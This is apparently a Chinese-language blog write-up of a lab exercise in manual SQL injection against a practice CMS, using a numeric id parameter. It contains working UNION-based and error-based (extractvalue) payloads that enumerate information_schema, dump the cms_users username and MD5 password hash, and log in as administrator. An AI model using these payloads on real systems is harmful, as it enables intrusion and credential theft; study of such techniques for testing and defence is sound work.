CMS 文件管理系统:SQL 联合查询和报错注入

任务目标

对 cms 系统进行手工 SQL 注入,通过获取到的管理员密码登录。

查找注入点,判断注入类型

首先先找找注入点,经判断在搜索框的 keywords 可能存在 SQL 注入。

在文章阅读框的 id 参数也可能是注入点。

由于文章阅读框的参数比较简单,所以用这个参数来测试,首先先注入正常的参数,网页回显正常的信息。

尝试注入个单引号闭合,网页回显 MySql 报错,后端的 SQL 语句后面的内容注释后,网页仍然不能回显正确的信息。经过以下所有的测试都一样,也就是说我们注入的引号没有起到闭合的作用,这是一个数字型注入。

1' OR 1 = 1--+
1') OR 1 = 1--+
1')) OR 1 = 1--+
1" OR 1 = 1--+
1") OR 1 = 1--+
1")) OR 1 = 1--+


那就是数值型注入了,直接用注释把后面的东西注释掉,不用引号闭合。

1 OR 1 = 1--+

联合查询

判断列数

判断表有几列,使用 ORDER BY 子句进行一个排序,看一下对几列有效。经二分法测试,有效的列数有 15 列。

?id=1 ORDER BY 15--+

?id=1 ORDER BY 16--+


判断哪些列是我们能用的,令 id 参数的查询不到结果,然后使用 UNION 进行组合查询。网页回显了数字 3 和 11,说明第 3 列和第 11 列是我们可用的。

?id=-1 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15--+

获取数据库信息

爆数据库名,我们选择第 3 个位置作为显示位。database() 函数可以回显当前使用的数据库,我们将对它进行查询。

?id=-1 UNION SELECT 1,2,database(),4,5,6,7,8,9,10,11,12,13,14,15--+


接下来开始爆表名,在 information_schema.table 进行查询,使用 group_concat() 函数合并查询结果。注意由于编码问题会显示 UNION 非法,由于这个是中文网页,后台数据可能是 gbk 编码,修改编码后回显。

?id=-1 UNION SELECT 1,2,group_concat(convert(table_name using gbk)),4,5,6,7,8,9,10,11,12,13,14,15 FROM information_schema.tables WHERE table_schema='cms'--+


cms_users 表看上去就是用户名和密码存放的表,所以接下来爆cms_users 表的字段,在 information_schema.columns 爆出来。

?id=-1 UNION SELECT 1,2,group_concat(convert(column_name using gbk)),4,5,6,7,8,9,10,11,12,13,14,15 FROM information_schema.columns WHERE table_schema='cms' AND table_name='cms_users'--+

获取敏感信息

接下来我们爆出 cms_users 表中的信息,这个表有用户名和密码这种敏感信息。

?id=-1 UNION SELECT 1,2,group_concat(concat_ws(':',convert(username using gbk),convert(password using gbk))),4,5,6,7,8,9,10,11,12,13,14,15 FROM cms.cms_users--+


经查看目测是 md5 加密,随便找个网站查询一下得到原文是 123456。

使用得到的用户名和密码登录后台,完成实验。


值得一提的是我试着抓包看了下,这个密码没有在前端进行加密,直接传的是明文,所以用爆破和一些社工库也可以很轻松地把一些弱密码爆出来。

报错注入

在判断注入类型时,由于网页回显了报错信息,也可以用报错注入。

获取数据库信息

爆数据库名,报错注入常用 extractvalue 和 updatexml 函数,此处用 extractvalue 函数,报错时它可以从目标 XML 中返回包含所查询值的字符串。在 extractvalue 函数的第二个参数编写要查询的信息,该信息就会被当做报错信息显示回来。

?id=33 AND extractvalue(1,concat(0x7e,(select database()),0x7e))--+


接下来开始爆表名,在 information_schema.table 进行查询,但是使用 group_concat() 函数合并查询结果时发现回显的长度有限制,不能全部返回。

?id=33 AND extractvalue(1,concat(0x7e,(SELECT group_concat(convert(table_name using gbk)) FROM information_schema.tables WHERE table_schema='cms'),0x7e))--+


此时只能使用 LIMIT 子句限制返回的行数,例如只返回第一行查到第一张表名。

?id=33 AND extractvalue(1,concat(0x7e,(SELECT table_name FROM information_schema.tables WHERE table_schema='cms' LIMIT 1,1),0x7e))--+


使用 Brup 抓包,然后将包发到测试器中,设置有效载荷在过滤条件里面。通过过滤条件依次排除前 n 行,就能获取第 n + 1 行数据。

暂时设置填充的数字在 1 ~ 10,最多可以查回 10 张表。

为了方便观察,设置返回的数据提取报错信息。

进行攻击,可以看到获取了所有可以看到的表的表名。

最后获取字段名,还好 cms_user 表的字段比较少,所以不需要用 Brup 来注入。

?id=33 AND extractvalue(1,concat(0x7e,(SELECT group_concat(convert(column_name using gbk)) FROM information_schema.columns WHERE table_schema='cms' AND table_name='cms_users'),0x7e))--+

获取敏感信息

接下来我们爆出 cms_users 表中的信息,这个表有用户名和密码这种敏感信息,但是仍然是因为长度限制显示不全。

id=33 AND extractvalue(1,concat(0x7e,(SELECT group_concat(concat_ws(':',convert(username using gbk),convert(password using gbk))) FROM cms.cms_users),0x7e))--+


单独查一下有多少个用户名,一共只有 1 个用户。

?id=33 AND extractvalue(1,concat(0x7e,(SELECT group_concat(concat_ws(':',convert(username using gbk))) FROM cms.cms_users),0x7e))--+ 


那就简单了,因为密码使用 MD5 操作过,所以可以分 2 次截取数据,每次截取 16 位,通过 SUBSTRING 函数实现。

?id=33 AND extractvalue(1,concat(0x7e,(SELECT SUBSTRING(password,1,16) FROM cms.cms_users),0x7e))--+

?id=33 AND extractvalue(1,concat(0x7e,(SELECT SUBSTRING(password,-16) FROM cms.cms_users),0x7e))--+

posted @ 2022-01-11 14:17  乌漆WhiteMoon  阅读(1192)  评论(4编辑  收藏  举报